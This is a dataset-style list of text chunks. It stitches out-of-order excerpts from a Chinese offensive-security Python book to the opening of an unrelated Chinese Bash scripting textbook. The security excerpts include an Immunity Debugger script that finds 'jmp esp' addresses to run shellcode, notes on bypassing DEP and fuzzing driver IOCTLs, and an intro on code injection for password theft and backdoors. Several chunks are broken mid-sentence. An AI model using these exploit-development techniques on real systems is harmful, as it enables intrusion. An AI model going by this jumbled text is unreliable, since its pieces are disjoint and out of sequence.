然后把这些信息组成字符串以\"名字+位移\"的形式返回。 GetFunctionName( long Address ) 通过一个地址，返回这个地址所属的函数。 11.2.4 交叉引用 找出代码和数据的交叉引用，在分析文件的执行流程时很重要，尤其是当我们分析感兴 趣的代码块的时候，盲目的查找无意义字符会让你有一种想死的冲动，这也是为什么 IDA 依然会成为逆向工程的王者的原因。IDAPython 提供了一大堆函数用于各种交叉引用。最常 用的就是下面几种。 CodeRefsTo( long Address, bool Flow ) 返回一个列表，告诉我们 Address 处代码被什么地方引用了，Flow 告诉 IDAPython 是否要 跟踪这些代码。 CodeRefsFrom( long Address, bool Flow ) 返回一个列表，告诉我们 Address 地址上的代码引用何处的代码。 DataRefsTo( long Address ) 返回一个列表，告诉我们 Address 处数据被什么地方引用了。常用于跟踪全局变量。 DataRefsFrom( long Address ) 返回一个列表，告诉我们 Address 地址上的代码引用何处的数据。 11.2.5 序 11 IDAPYTHON---IDA 脚本 IDA Pro( 前身为 Ilfak Guilfanov) 以其强大的静态分析功能当 之 无 愧 的 成 为 逆 向 工 程 的 首 选 。 让 我 们 记 住 它 的 缔 造 者 ， Hex-Rays SA ( 布鲁塞尔 ) 。IDA 如今已经能够在大多数平台上运行，能够分析大 部分平台的二进制文件，同时提供了一个内置的调试器。IDA 的扩展能力也是极其强大的， 提供了 IDC(IDA 的脚本语言)和 SDK(让开发者扩展方便 IDA 插件)。 2004 年 Gergely 和 Ero Carrera 开发了 IDAPython 插件，将强大的 Python 和 IDA 结合起 来，使得自动化分析变得异常简单。而如今 IDAPython 被广泛的使用于各种商业产品 （ Zynamics 的 BinNavi ）和 开源工程（ PaiMei 和 PyEm ）中。这一章，我们要学 会 IDAPython(以 IDA Pro 5.2 为目标)的安装以及重要的函数的使用，最后通过几个简单的例子 进一步熟悉 IDA 自动化分析。"},
    {"text": "序 5.3 Exploit 开发 发现漏洞只是一个开始，在你完成利用程序之前，还有很长的一段路要走。不 过 Immunity 专门为了这项任务做了许多专门的设计，相信能帮你减少不少的痛苦。接下来我 们要开发一些 PyCommands 以加速 exploit 的开发。这些 PyCommands 要完成的功能包括， 找到特定的指令将执行权限转移到 shellcode，当编码 shellcode 的时候判断是否有需要过滤 的有害字符。我们还将用 PyCommand 命令!findantidep 绕过 DEP（软件执行保护）。 5.3.1 找出友好的利用指令 在获得 EIP 的控制权之后，你就要将执行权限转移到 shellcode。典型的方式就是，你用 一个寄存器指向你的 shellcode。你的工作就是在可执行的代码里或者在加载的模块里找到跳 转到寄存器的代码。 Immunity 提供的搜索接口使这项工作变得很简单，它将贯穿整个程序 寻找需要的代码。接下来就试验下。 #findinstruction.py from immlib import * def main(args): imm = Debugger() search_code = \" \".join(args) search_bytes = imm.Assemble( search_code ) search_results = imm.Search( search_bytes ) for hit in search_results: # Retrieve the memory page where this hit exists # and make sure it's executable code_page = imm.getMemoryPagebyAddress( hit ) access = code_page.getAccess( human = True ) if \"execute\" in access.lower(): imm.log( \"[*] Found: %s (0x%08x)\" % ( search_code, hit ), address = hit ) return \"[*] Finished searching for instructions, check the Log window.\" 我们先转化要搜索的代码（记得内存中可是没有汇编指令的 ），然后通过 Search()方法 在整个程序的内存空间中包含这个指令的地址。在返回的地址列表中，找到每个地址所属的 页。接着确认页面是可执行的。每找到一个符合上面条件的就打印到记录窗口。在调试器的 命令栏里执行如下格式的命令。 !findinstruction <instruction to search for> 脚本运行后输入以下测试参数， !findinstruction jmp esp 输出将类似图 5-2 图 5-2 !findinstruction PyCommand 的输出 现在我们已经有了一个地址列表，这些地址都能使我们的 shellcode 运行起来（前提你 的 shellcode 地址放在 ESP 中）。每个利用程序都有些许差别，但我们现在已经有了一个能够 快输寻找指令地址的工具，很好很强大。 序 11.1 安装 IDAPython 从 http://idapython.googlecode.com/files/idapython-1.0.0.zip 下载我们需要的压缩包。这个 版本比较早，建议大家安装 idapython-1.2.0_ida5.4_py2.5_win32.zip 的版本，这个版本也可以 用于 ida5.5。 下载完后解压缩，将主目录下的 python 文件夹，复制到 IDA 的安装目录下（默认为 C:\\Program Files\\IDA） ，将 plugins 目录下 python.plw 复制到 IDA 的 plugins 目录下（默认为 C:\\Program Files\\IDA\\plugins.） 。 就当的驱动 IDA，随意加载一个可执行文件，一旦初始化分析完成，就会看到底部的输 出窗口中包含了 IDAPython 的信息，记得不加载文件的时候是不会出现的。如图 11-1。 Figure 11-1: IDAPython 成功安装之后的 IDA Pro 的初始化信息 在文件菜单中将会看到多出两个选项，如图 11-2 Figure 11-2: IDAPython 成功安装后的 DA Pro 文件菜单 连个新的选项分别是 Python file 和 Python command，热键也设置好了。如果能够执行 一个简单的 Python 命令，只要单击 Python command 选项，就会出现一个窗口，输入命令后， 就会 IDA 的输出窗口中看到结果。Python file 选项用于执行独立的 IDAPython 脚本，这也 是这章要重点介绍的。先 IDAPython 已经成功安装，并且正常工作，接下来让我们了解下 常用的 DAPython 函数。"},
    {"text": "序 3.2.1 枚举线程 为了得到一个进程里寄存器的状态，我们必须枚举进程内部所有正在运行的线程。线程 是进程中真正的执行体（大部分活都是线程干的），即使一个程序不是多线程的，它也至少 有一个线程，主线程。实现这一功能的是一个强大的函数 CreateToolhelp32Snapshot()，它由 kernel32.dll 导出。这个函数能枚举出一个进程内部所有线程的列表，以加载的模块（DLLs） 的列表，以及进程所拥有的堆的列表。函数原型如下： HANDLE WINAPI CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID ); dwFlags 参数标志了我们需要收集的数据类型（线程，进程，模块，或者堆 ） 。这里我 们把它设置成 TH32CS_SNAPTHREAD，也就是 0x00000004，表示我们要搜集快照 snapshot 中 所 有 已 经 注 册 了 的 线 程 。 th32ProcessID 传 入 我 们 要 快 照 的 进 程 ， 不 过 它 只 对 TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, TH32CS_SNAPHEAPLIST, and TH32CS_SNAPALL 这几个模块有用,对 TH32CS_SNAPTHREAD 可是没什么用的哦（后面 有说明）。当 CreateToolhelp32Snapshot()调用成功，就会返回一个快照对象的句柄，被接下 来的函数调以便搜集更多的数据。 一旦我们从快照中获得了线程的列表，我们就能用 Thread32First()枚举它们了。函数原型如下： BOOL WINAPI Thread32First( HANDLE hSnapshot, LPTHREADENTRY32 lpte ); hSnapshot 就 是 上 面 通 过 CreateToolhelp32Snapshot() 获 得 镜 像 句 柄 ， lpte 指 向 一 个 THREADENTRY32 结构（必须初始化过） 。这个结构在 Thread32First()在调用成功后自动填 充，其中包含了被发现的第一个线程的相关信息。结构定义如下： typedef struct THREADENTRY32{ DWORD dwSize; DWORD cntUsage; DWORD th32ThreadID; DWORD th32OwnerProcessID; LONG tpBasePri; LONG tpDeltaPri; DWORD dwFlags; }; 在这个结构中我们感兴趣的是 dwSize, th32ThreadID, 和 th32OwnerProcessID 3 个参数。 dwSize 必须在 Thread32First()调用之前初始化，只要把值设置成 THREADENTRY32 结构的 大小就可以了。th32ThreadID 是我们当前发现的这个线程的 TID，这个参数可以被前面说过 的 OpenThread() 函数调用以打开此线程，进行别的操作。 th32OwnerProcessID 填充了当前 线 程 所 属 进 程 的 PID 。 为 了 确 定 线 程 是 否 属 于 我 们 调 试 的 目 标 进 程 ， 需 要 将 th32OwnerProcessID 的值和目标进程对比，相等则说明这个线程是我们正在调试的。一旦我 们获得了第一个线程的信息，我们就能通过调用 Thread32Next()获取快照中的下一个线程条 目。它的参数和 Thread32First()一样。循环调用 Thread32Next()直到列表的末端。 序 In C _______________________________________________________________________________ union { long barley_long; int barley_int; char barley_char[8]; }barley_amount; _______________________________________________________________________________"},
    {"text": "如果要继续测试，就必须不断的和用户模式下的 Wireshark 进行 交互，这样 Wireshark 就会调用不同 IOCTL 代码，最后祈祷上帝让其中一个 IOCTL 处理代 码发生崩溃。"},
    {"text": "举个例子，我们并不知 道正在 fuzzing 的设备名，（不过可以通过 hook CreateFileW，然后观察被 DeviceIoControl 使用了的句柄，从而逆推得到设备名），而且 fuzz 的 IOCTL 代码并不全，我们在用户模式 下对程序进行的操作是有限的，这样程序对驱动功能的调用也是有限的。"},
    {"text": "def getDeviceNames( self ): string_list = self.imm.getReferencedStrings( self.module.getCodebase() ) for entry in string_list: if \"\\\\Device\\\\\" in entry[2]: self.imm.log( \"Possible match at address: 0x%08x\" % entry[0], address = entry[0] ) self.deviceNames.append( entry[2].split(\"\\\"\")[1] ) self.imm.log(\"Possible device names: %s\" % self.deviceNames) return self.deviceNames Listing 10-2: driverlib 库找出设备名的方法 代码通过检索驱动中所有被引用了的字符串，找出其中包含了 \"\\Device\\\"的项。"},
    {"text": "*** Immunity Debugger Python Shell v0.1 *** Immlib instanciated as 'imm' PyObject READY. >>> import driverlib >>> driver = driverlib.Driver() >>> driver.getDeviceNames() ['\\\\Device\\\\Beep'] >>> 我们很简单的使用三行代码就找到了一个可用的设备名 \\\\Device\\\\Beep,这省去了我们通 过反汇编一行行查找代码的时间。"},
    {"text": "DriverEntry 的主要框架如下： NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { UNICODE_STRING uDeviceName; UNICODE_STRING uDeviceSymlink; PDEVICE_OBJECT gDeviceObject; RtlInitUnicodeString( &uDeviceName, L\"\\\\Device\\\\GrayHat\" ); RtlInitUnicodeString( &uDeviceSymlink, L\"\\\\DosDevices\\\\GrayHat\" ) // Register the device IoCreateDevice( DriverObject, 0, &uDeviceName, FILE_DEVICE_NETWORK, 0, FALSE, &gDeviceObject ); // We access the driver through its symlink IoCreateSymbolicLink(&uDeviceSymlink, &uDeviceName); // Setup function pointers DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch; DriverObject->DriverUnload = DriverUnloadCallbac DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateCloseCa DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateCloseCa return STATUS_SUCCESS; } Listing 10-3: DriverEntry 的 C 源码实现 这是一个非常基础的 DriverEntry 代码框架，但是很直观的说明了设备是如何初始化的。 要注意的是这行: DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch 这行告示驱动器 IOCTLDispatch 负责所有 IOCTL 请求。"},
    {"text": "当一个驱动器编译完成后，这 行程序的汇编伪代码如下： mov dword ptr [REG+70h], CONSTANT 这指令集看起来有些特殊，REG 和 CONSTANT 都是汇编代码，IOCTLDispatch 指针将 被 存 储 在 (REG) 位移 0x70 的地方上。"},
    {"text": "driverlib 的具体实 现如下： def getIOCTLDispatch( self ): search_pattern = \"MOV DWORD PTR [R32+70],CONST\" dispatch_address = self.imm.searchCommandsOnModule( self.module .getCodebase(), search_pattern ) # We have to weed out some possible bad matches for address in dispatch_address: instruction = self.imm.disasm( address[0] ) if \"MOV DWORD PTR\" in instruction.getResult(): if \"+70\" in instruction.getResult(): self.IOCTLDispatchFunctionAddress = instruction.getImmConst() self.IOCTLDispatchFunction = self.imm.getFunction( self.IOCTLDispatchFunctio break # return a Function object if successful return self.IOCTLDispatchFunction Listing 10-4: 找出 IOCTL dispatch function 的方法 最新的 Immunity 中还有另一种列举函数搜索的方法，不过原理都一样。"},
    {"text": "下面来看看 IOCTL dispatch 的函数是如何实现的，以及如何查找出所有的 IOCTL 代码。 10.3.3 找出 IOCTL 代码 IOCTL dispatch 根据传入的值(也就是 IOCTL 代码)执行相应的操作。"},
    {"text": "NTSTATUS IOCTLDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { ULONG FunctionCode; PIO_STACK_LOCATION IrpSp; // Setup code to get the request initialized IrpSp = IoGetCurrentIrpStackLocation(Irp); FunctionCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; // Once the IOCTL code has been determined, perform a // specific action switch(FunctionCode) { case 0x1337: // ... Perform action A case 0x1338: // ... Perform action B case 0x1339: // ... Perform action C } Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest( Irp, IO_NO_INCREMENT ); return STATUS_SUCCESS; } Listing 10-5: 一 段 简 单 的 IOCTL dispatch 代 码 支 持 三 种 IOCTL 代 码 (0x13370x1338, 0x1339) 当函数从 IOCTL 请求中检索到 IOCTL 代码的时候，就将代码传递个 switch{}语句，然 后根据 IOCTL 代码执行相应的操作。"},
    {"text": "// Series of CMP statements against a constant CMP DWORD PTR SS:[EBP-48], 1339 # Test for 0x1339 JE 0xSOMEADDRESS # Jump to 0x1339 action CMP DWORD PTR SS:[EBP-48], 1338 # Test for 0x1338 JE 0xSOMEADDRESS CMP DWORD PTR SS:[EBP-48], 1337 # Test for 0x1337 JE 0xSOMEADDRESS // Series of SUB instructions decrementing the IOCTL code MOV ESI, DWORD PTR DS:[ESI + C] # Store the IOCTL code in ESI SUB ESI, 1337 # Test for 0x1337 JE 0xSOMEADDRESS # Jump to 0x1337 action SUB ESI, 1 # Test for 0x1338 JE 0xSOMEADDRESS # Jump to 0x1338 action SUB ESI, 1 # Test for 0x1339 JE 0xSOMEADDRESS # Jump to 0x1339 action Listing 10-6: 两种不同的 switch{} 反汇编指令 switch{} 的反汇编指令有很多种，不过最常见的就是上面两种。"},
    {"text": "序 9.2.5 Integers Integers(整数)的应用无处不在，从能看的见的明文数据，到看不见的二进制协议，以及 数据长度，各种结构，等等。 表 9-1 列出了 Sulley 支持的主要几种整数类型。 1 byte – s_byte(), s_char() 2 bytes – s_word(), s_short() 4 bytes – s_dword(), s_long(), s_int() 8 bytes – s_qword(), s_double() Listing 9-1: Sulley 支持的整数类型 所有的整数表达式都有几个重要的的选项。endian 项表示整数将以什么样的形式变现出 来，是小端- (<) 还是 大端- (>)格式 l 默认似乎小端。format 项有两个可选值，ascii 和 binary； 代表整数将被如何使用。举个例子，如果你有一个用 ASCII 格式 表示是 1，用 binary 表示 就是\\x31。signed 项说明整数是有符号的还是无符号的，这个选项只有在 format 指定为 ascii 后有效，默认似乎 False。最后一个有趣的选项是 full_range，启用这个选项以后，Sulley 就 会在一个很广的范围内枚举可能的整数值。举个例子，如果我们传入的整数是一个无符号的 整数，把 full_range 设置成 True，这时候 Sulley 就会很智能的测试边界值(接近或者超过最 大值，或者接近最小值)，无符号的最大值是 65535，Sulley 就会试着使用 65534, 65535, 65536 去进行测试。full_range 默认为 False，因为可枚举的时间可是很长的。看看下面的例子。 s_word(0x1234, endian=\">\", fuzzable=False) s_dword(0xDEADBEEF, format=\"ascii\", signed=True) 第一个例子，我们设置了一个 2 字节大小的值 0x1234，并且将表示方式设置成大端， 同时作为一个静态值。第二个例子，我们设置了一个 4 字节（双字）大小的值 0xDEADBEEF， 并且将它作为有符号的整数，以 ASCII 形式表现。 9.2.6 序 M mory PyMemor 负责加载和储存执行指令的必要数据。同时也可以对可执行程序的代码和数 据块进行映射，以便在仿真器中访问。在将借完两个主要类之后，让我们看看核心类 PyEmu， 以及相关的类方法。 序 7 Dll 和代码注入 有时候在执行逆向工程或者攻击特定程序的时候，将代码 加载进目标进程，并在进程内执行是非常有用的。这类技术一般 被称为注入，常用于偷取密码或者获得远程桌面的控制权。注入 主要分为 DLL 和代码注入两种，我们将用 Python 结合这两种 技术创建一些简单的应用程序。为将来开发，exploit 编写，shellcode 和安全 测试做准备。接下来要实现的任务就是，用 DLL 注入在目标进程内运行一个窗口，用代码 注入将 shellcode 注入目标进程，让 shellcode 杀死进程。最后我们将用纯 Python 实现一个后 门。在实现的过程中将大量的用到代码注入，和一些黑色技巧。让我们先从创建远线程开始， 这是注入的基础。"},
    {"text": "Shell从入门到精通 Linux典藏大系 Shell从入门到精通 张春晓 等编著 清 华 大 学 出 版 社 北 京 内容简介 内容简介 本书是获得了大量读者好评的“Linux典藏大系”中的Shell分册。Shell脚本程序具有简洁、高效的特点，多年以来，Bash Shell成为系统管理员和Linux程序员解决实际问题的得力工具。本书结合大量的实例，向读者详细介绍了这一工具的使用方法。本书附带1张光盘，内容为本书配套多媒体教学视频及实例源程序及其他学习资料。 本书共15章，分为3篇。涵盖的主要内容包括Shell编程基础、Shell编程环境的搭建、Shell变量、条件测试和判断语句、循环结构、函数、数组、正则表达式、基本文本处理、流编辑、awk工具、文件操作、子Shell与进程处理、Shell脚本调试技术等，并在本书的第15章中给出了2个具体的综合实例。 本书结构清晰，易教易学，实例丰富，可操作性强，对易混淆和实用性强的内容进行了重点提示和讲解。因此，本书非常适合Linux系统管理和开发的相关人员阅读，也可以作为高等学校教师和相关专业学生的教材，又可以作为各类培训班的培训教材。 Shell从入门到精通 本书封面贴有清华大学出版社防伪标签，无标签者不得销售。 版权所有，侵权必究。侵权举报电话：010-62782989 13701121933 图书在版编目（CIP）数据 Shell从入门到精通/张春晓等编著. −−北京：清华大学出版社，2014 （Linux典藏大系） ISBN 978-7-302-33807-9 Ⅰ. ①S… Ⅱ. ①张… Ⅲ. ①UNIX操作系统−程序设计 Ⅳ. ①TP316.81 中国版本图书馆CIP数据核字（2013）第212256号 责任编辑： 夏兆彦 封面设计： 欧振旭 责任校对： 胡伟民 出版发行： 清华大学出版社 网 址： http://www.tup.com.cn, http://www.wqbook.com 地 址： 北京清华大学学研大厦A座 邮 编： 100084 社总机： 010-62770175 邮 购： 010-62786544 投稿与读者服务： 010-62776969，c-service@tup.tsinghua.edu.cn 质 量 反 馈： 010-62772015，zhiliang@tup.tsinghua.edu.cn 经 销： 全国新华书店 开 本： 185mm×260mm 印 张： 24.5 字 数： 612千字 版 次： 2014年2月第1版 印 次： 2014年2月第1次印刷 印 数： 1～0000 定 价： 0.00元 产品编号：054559-01"},
    {"text": "前言 前 言 随着互联网技术的发展，Linux已经逐步成为主流的服务器操作系统。在Linux系统中，Shell是用户与系统内核之间进行交互的接口，是整个Linux系统中非常重要的一个组成部分。Shell脚本编程成为一个优秀的系统管理员和Linux开发者必须掌握的技术之一。Bash Shell已经成为绝大部分Linux系统默认的Shell程序，本书旨在系统介绍Shell编程的相关知识和技巧。 在Shell发展的几十年中，出现了许多介绍Shell编程的书籍。但是，大多数相关书籍的内容比较陈旧，其内容并没有随着技术的发展而得到补充。另外，许多书籍要么偏重理论，缺乏实践性；要么泛泛而论，缺乏深入的阐述。本书由有着十几年实践经验的一线技术员编写，以实用性为主旨。从最基本的Shell编程环境的搭建和变量开始，一直到Shell脚本的调试技术，由浅入深，系统地介绍了Shell编程各个方面的知识点。最后通过2个具体的综合实例，向读者介绍了如何使用Shell脚本来解决实际问题。 关于“Linux典藏大系” “Linux典藏大系”是清华大学出版社自2010年1月以来陆续推出的一个图书系列，截止2013年，已经出版了10余个品种。该系列图书涵盖了Linux技术的方方面面，可以满足各个层次和各个领域的读者学习Linux技术的需求。该系列图书自出版以来获得了广大读者的好评，已经成为Linux图书市场上最耀眼的明星品牌之一。其销量在同类图书中也名列前茅，其中一些图书还获得了“51CTO读书频道”颁发的“最受读者喜爱的原创IT技术图书奖”。该系列图书在出版过程中也得到了国内Linux领域最知名的技术社区ChinaUnix（简称CU）的大力支持和帮助，读者在CU社区中就图书的内容与活跃在CU社区中的Linux技术爱好者进行广泛交流，取得了良好的学习效果。 本书有何特色 1．视频讲解，高效学习 为了帮助读者更加高效、直观地学习，作者为本书每章的重点内容专门录制了对应的配套多媒体教学视频。这些视频和本书实例源文件一起收录于配书光盘中。 2．内容全面，系统性强 本书非常全面地讨论了Shell编程各个方面，基本上涵盖了与Shell编程有关的所有重要的知识点。 3．深入浅出，循序渐进 对于绝大部分的初学者来说，Shell编程是一件非常困难的事情。为了能够适应初学者的学习习惯，本书从最基本的基础知识开始讲起，一直到最后的Shell脚本调试技术。在介绍某个知识点的时候，本书也尽量从最简单的内容开始，逐步深入，避免使初学者产生畏惧的心理。 4．由一线技术人员编写，重实践，实用性强 本书以当前最为流行的Bash Shell为基础，针对Shell编程中最容易遇到的问题，依次展开论述。无论是初学者，还是具有一定经验的Linux开发和维护人员，都可以从中获得有用的知识。 5．重点突出，脉络清晰 对于比较重要的知识点，本书都进行了非常深入的探讨和代码演示，使读者不仅知其然，更要知其所以然，只有这样，才能达到融会贯通的境界。 6．项目案例典型，实战行强，有较高的应用价值 本书最后一篇提供了2个综合案例。这些案例来源于作者所开发的实际项目，具有很高的应用价值和参考性。而且这些案例分别使用不同的框架组合实现，便于读者融会贯通地理解本书中所介绍的技术。这些案例稍加修改，便可用于实际项目开发中。 本书内容及知识体系 第1篇 认识Shell编程（第1～2章） 本篇主要介绍了Shell入门的基础和Shell编程环境的搭建。主要包括什么是Shell、为什么要学习Shell编程、最简单的Shell程序的组成、如何在不同的操作系统上面搭建Shell编程环境，以及编辑器的选择等。 第2篇Shell编程基础（第3～13章） 本篇主要介绍了Shell编程所涉及的所有重要的知识点。主要包括Shell变量、条件测试和判断语句、循环结构、函数、数组、正则表达式、基本文本处理、流编辑、awk工具、文件操作，以及子Shell与进程处理等。 第3篇Shell编程实战（第14～15章） 本篇主要介绍了Shell脚本的调试技术及2个综合实例。主要包括Shell编程常见问题、4种常用的Shell脚本调试技术。综合实例包括系统服务脚本，以及Apache日志管理脚本的编写方法。 适合阅读本书的读者 需要全面学习Shell编程技术的人员； 广大Linux程序员； Linux系统管理员； 网站管理工程师； 希望提高Linux系统管理和开发水平的人员； 专业培训机构的学员； Linux下的所有编程人员； 需要一本案头必备查询手册的人员。 阅读本书的建议 没有Linux编程基础的读者，建议从第1章顺次阅读并演练每一个实例。 拥有一定Linux编程基础的读者，可以根据实际情况有重点地选择阅读各个章节及实例。 对于每一个知识点和实例，先自己思考一下实现的思路，然后再阅读，学习效果会更好。 Shell编程非常需要大量的实际操作，并且每项功能都会有多种实现方法。所以读者可以在阅读本书知识点以及实例的基础上，对本书的实例进行改编，以其他的方式实现实例的功能。这样理解起来就更加容易，也会更加深刻。 关于作者 本书由张春晓主笔编写。其他参与编写的人员有魏星、吴宝生、伍远明、谢平、顼宇峰、徐楚辉、闫常友、阳麟、杨纪梅、杨松梅、余月、张广龙、张亮、张晓辉、张雪华、赵海波、赵伟、周成、朱森。 您在阅读本书的过程中若有疑问，请发E-mail和我们联系。E-mail地址：bookservice2008@163.com。 编著者"},
    {"text": "Shell从入门到精通 目录 内容简介 前言 第1篇 认识Shell编程 第1章 Shell入门基础（ 教学视频：66分钟） 1.1 为什么学习和使用Shell编程 1.2 什么是Shell 1.2.1 Shell的起源 1.2.2 Shell的功能 1.2.3 Shell的分类 1.3 作为程序设计语言的Shell 1.3.1 交互式程序 1.3.2 创建脚本 1.3.3 把脚本设置为可执行 1.4 向脚本传递参数 1.4.1 Shell脚本的参数 1.4.2 参数扩展 1.5 第一个Shell程序：Hello，Bash Shell！"},
    {"text": "第1章 Shell入门基础 第1章 Shell入门基础 随着Linux和UNIX的广泛应用，Shell日益成为系统管理员的一个非常重要的工具。 作为一个优秀的系统管理员或者Linux/UNIX开发者来说，熟练掌握Shell程序设计可以使得工作达到事半功倍的效果。 本章从最基本的Shell概念入手，依次介绍了作为程序设计语言的Shell、向Shell脚本传递参数，以及通过一个最简单的例子来说明如何进行Shell程序设计。"},
    {"text": "为什么学习和使用Shell编程：主要介绍Shell在日常管理工作中的重要作用。 什么是Shell：主要介绍Shell的基本概念、起源、功能和分类等。 作为程序设计语言的Shell：主要介绍什么是交互式程序、如何创建脚本，以及如何将脚本设置为可执行。"},
    {"text": "1.2 什么是Shell 在学习Shell编程之前，必须弄清楚什么是Shell。 为了能够使读者在学习具体的Shell编程之前对Shell有个基本的了解，本节将对Shell进行概括性的介绍，包括Shell的起源、功能和分类。 1.2.1 Shell的起源 Shell的起源与计算机世界里面最古老的操作系统UNIX有着密不可分的关系。"},
    {"text": "在1964年，美国AT&T公司的贝尔实验室、麻省理工学院及美国通用电气公司共同参与开始研发一套可以安装在大型主机上的多用户、多任务的操作系统，该操作系统的名称为Multics （MULTiplexed Information and Computing System），运行在美国通用电气公司的大型机GE-645上面。"},
    {"text": "在汤普逊和里奇的组织和领导下，他们启动了另外一个新的多用户、多任务的操作系统的项目，他们把这个项目称之为UNICS（UNiplexed Information and Computing System）。"},
    {"text": "而在这时，UNIX的另外一个著名分支BSD UNIX也悄然兴起，随着风头正劲的BSD，另一个老牌Shell也登场了，它就是比尔•乔伊（Bill Joy）在加州大学伯克利分校读书期间开发的C Shell。 C Shell开发于二十世纪七十年代末，作为BSD UNIX系统的一部分发布，简称csh。"},
    {"text": "当然，C Shell的缺点和其优点一样明显，由于它是为大型机设计并增加了很多新功能，所以，C Shell在小型机上运行比较慢。 更为麻烦的是，即使在大型机上，C Shell的速度也不如Bourne Shell，而这个问题，在当时的硬件条件下可以说是致命弱点了。"},
    {"text": "C Shell之后又出现了许多其他的Shell程序，主要包括Tenex C Shell（tcsh）、Korn Shell （ksh），以及GNU Bourne-Again shell（bash），关于这些Shell的特点，不再详细介绍。 说明： 目前，无论是在UNIX系统中，还是在Linux系统中，比较流行的Shell程序都是bash。"},
    {"text": "1.2.2 Shell的功能 Shell这个单词的意思是“外壳”，它形象地表达出了Shell的作用。 在UNIX以及Linux中，Shell就是套在内核外面的一层外壳，如图1-3所示。 正因为有Shell的存在，才向普通的用户隐藏了许多关于系统内核的细节。 图1-3 UNIX/Linux Shell Shell又称命令解释器，它能识别用户输入的各种命令，并传递给操作系统。 它的作用类似于Windows操作系统中的命令行，但是，Shell的功能远比命令行强大得多。 在UNIX或者Linux中， Shell既是用户交互的界面，也是控制系统的脚本语言。 1.2.3 Shell的分类 关于Shell的分类，在介绍Shell的历史的时候已经简单地介绍过一些了，下面对各种Shell程序做一个简单的概括。 常见的几种Shell程序如下所述。"},
    {"text": "1.3.1 交互式程序 现在读者已经对Shell有了初步的了解，接下来的内容将要逐步接触到真正的Shell脚本程序了。 通常情况下，Shell脚本程序有以下两种执行方式： （1）用户可以依次输入一系列的命令，交互式地执行它们；"},
    {"text": "在命令行上直接输入命令来交互式地执行Shell脚本是一种非常简单的方式。 尤其是在测试Shell程序的时候，通过使用交互式方式，可以非常方便地得到程序执行的结果。"},
    {"text": "我们可以在Shell提示符后面依次输入下面的代码： 01 #-----------------------------/chapter1/ex1-1.sh------------------ 02 [root@linux ~]# for filename in 'ls .' 03 > do 04 > if echo \"$filename\" | grep \"xml\" 05 > then 06 > echo \"$filename\" 07 > fi 08 > done 09 package.xml 10 package.xml 11 wbxml-1.0.3 12 wbxml-1.0.3 13 wbxml-1.0.3.tgz 14 wbxml-1.0.3.tgz 每当输入完一行后，都要按回车键换行。"},
    {"text": "1.3.2 创建脚本 对于一组需要经常重复执行的Shell语句来说，将它们保存在一个文件中来执行是一种非常明智的做法。 我们通常称这种包含多个Shell语句的文件为Shell脚本，或者Shell脚本文件。 脚本文件都是普通的文本文件，可以使用任何的文本编辑器查看或者修改Shell脚本文件。 【 例1-2 】使用vi命令创建Shell脚本文件。 在Shell命令行中输入vi命令，然后输入以下代码： 01 #-----------------------------/chapter1/ex1-2.sh------------------ 02 #! /bin/sh 03 04 #for 循环开始 05 for filename in 'ls .' 06 do 07 # 如果文件名包含 xml 08 if echo \"$filename\" | grep \"xml\" 09 then 10 # 输出文件名 11 echo \"$filename\" 12 fi 13 done 从上面的代码可以得知，Shell程序中的注释以“#”符号开始，一直持续到该行的结束。"},
    {"text": "请注意第一行#!/bin/sh，它是一种特殊形式的注释，其中，“#!”字符告诉系统同一行中紧跟在它后面的那个参数是用来执行本文件的程序。"},
    {"text": "在Linux中，当用户执行某个程序时，必须拥有该文件的执行权限。 用户可以通过ls-l或者ll命令来查看文件的访问权限，其中ll命令只可以在Linux中使用。"},
    {"text": "下面是ll命令的执行结果： [root@linux chapter1]# ll total 4 -rw-r--r-- 1 root root 116 Dec 18 23:11 ex1-2.sh 在上面的输出结果中，每一行都是一个文件的描述信息。"},
    {"text": "通常情况下，每个文件的访问权限都由9位组成，其中最前面的3位表示文件的所有者对于该文件的访问权限，中间的3位表示与所有者同组的其他用户对于该文件的访问权限，最后3位表示其他组的用户对于该文件的访问权限。 在每一组权限中，都用3个字母来表示3种不同的权限，r表示读取权限，w表示写入权限，x表示执行权限。"},
    {"text": "为了使得用户拥有某个文件的执行权限，我们可以使用chmod命令。 该命令的基本语法如下： chmod [options] filename 其中，options表示各种权限选项。"},
    {"text": "用户可以使用r、w及x这3个字母分别表示读取、写入和执行的权限，也可以使用数字来表示权限。 在数字模式下，4表示读取权限，2表示写入权限，1表示执行权限。 另外，用户还可以指定执行权限授予的对象，其中u表示文件的所有者，g表示所有者所属的组，o表示其他组的用户。"},
    {"text": "例如，下面的操作授予文件ex1-2.sh的所有者执行权限： [root@linux chapter1]# chmod u+x ex1-2.sh [root@linux chapter1]# ll total 4 -rwxr--r-- 1 root root 116 Dec 18 23:11 ex1-2.sh 对于上面的权限，用户也可以使用数字来表示，如下： [root@linux chapter1]# chmod 744 ex1-2.sh [root@linux chapter1]# ll total 4 -rwxr--r-- 1 root root 116 Dec 18 23:11 ex1-2.sh 在上面的命令中，作为选项的3个数字“744”分别表示文件所有者、所有者所属的用户组以及其他组的权限。"},
    {"text": "当授予用户执行权限之后，就可以执行该脚本了，如下： [root@linux ~]# chapter1/ex1-1.sh package.xml package.xml wbxml-1.0.3 wbxml-1.0.3 wbxml-1.0.3.tgz wbxml-1.0.3.tgz 注意： 777是一个特殊的权限，表示所有的用户都可以读、写和执行该文件。"},
    {"text": "1.4 向脚本传递参数 许多情况下，Shell脚本都需要接收用户的输入，根据用户输入的参数来执行不同的操作。 本节将介绍Shell脚本的参数，以及如何在脚本中接收参数。 1.4.1 Shell脚本的参数 从命令行传递给Shell脚本的参数又称为位置参数，这主要是因为Shell脚本会根据参数的位置来接收它们的值。 在Shell脚本内部，用户可以通过一系列的系统变量来获取参数。"},
